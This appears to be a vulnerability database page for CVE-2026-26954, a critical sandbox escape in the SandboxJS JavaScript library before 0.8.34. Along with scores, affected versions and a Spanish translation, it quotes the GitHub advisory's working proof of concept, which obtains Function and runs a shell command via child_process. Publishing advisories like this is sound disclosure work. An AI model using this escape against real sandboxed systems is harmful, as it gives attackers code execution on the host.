CVE-2026-26954
JSON

10.0critical

SandboxJS has a Sandbox Escape

Severity
10.0critical CVSS:3.1 by GitHub_M
Exploit likelihood
0.62% (higher than 51% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-6r9f-759j-hjgv

Description

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

Affected

Product or packageVersionsReported by
nyariv SandboxJS< 0.8.34, before 0.8.34CVE List, NVD
@nyariv/sandboxjs (npm)before 0.8.34GitHub Advisory Database

All scores

GitHub_M10.0critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
GitHub10.0critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Classification

CWE-94

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

GitHub Advisory Database
Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC
const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();
Impact

Sandbox Escape -> RCE

NVD (es)

SandboxJS es una biblioteca de sandboxing de JavaScript. Antes de 0.8.34, es posible obtener arrays que contienen Function, lo que permite escapar del sandbox. Dado un array que contiene Function, y Object.fromEntries, es posible construir {[p]: Function} donde p es cualquier propiedad construible. Esta vulnerabilidad se corrige en la versión 0.8.34.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-26954 changed 2026-03-16CVE Terms of Use
GitHub Advisory DatabaseGHSA-6r9f-759j-hjgv changed 2026-03-16CC-BY-4.0
NVDCVE-2026-26954 changed 2026-06-17Public domain